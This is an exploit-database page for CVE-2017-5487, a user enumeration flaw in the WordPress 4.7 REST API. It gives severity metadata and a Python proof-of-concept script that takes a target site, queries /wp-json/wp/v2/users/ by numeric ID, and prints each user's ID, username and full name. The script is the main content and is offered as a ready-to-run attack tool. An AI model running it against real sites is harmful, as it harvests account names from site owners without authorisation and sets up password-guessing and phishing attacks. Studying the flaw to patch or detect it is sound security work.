Wordpress >=4.7 wp-json User Enumeration Exploit

Published
Credit
Risk
2017.01.26
Ryan Dewhurst & Munir Njiru
Low
CWE
CVE
Local
Remote
N/A
CVE-2017-5487
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
5/10
2.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
None
None

import requests
import json
print "#############################################################"
print "\tWordpress 4.7 User Enumeration PoC (CVE 2017-5487)\n\t\t\tWPVDB ID: 8715\n\n\tt\tBy Alienwithin"
print "#############################################################\n\n"
targetSite = raw_input("Please enter the URL to target e.g. http://target.com : \nSite URL: ")
NumberOfUsers = raw_input("Please enter the number of users to retrieve e.g. 10\n")
print "ID || Username || Full Name\n\n"
for users in range(1, int(NumberOfUsers)):
req = requests.get(targetSite+'/wp-json/wp/v2/users/'+str(users))
target_info_parsed = json.loads(req.text)
if 'id' not in target_info_parsed:
print "No user with ID :" + str(users)
req.close()
else:
target_id = target_info_parsed['id']
target_name = target_info_parsed['name']
target_username = target_info_parsed['slug']
print str(target_id)+ " || "+ str(target_username) + " || "+ str(target_name)+"\n"
req.close()

References:

https://wpvulndb.com/vulnerabilities/8715
https://github.com/alienwithin/Scripts-Sploits/blob/master/wp_ue_api.py


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com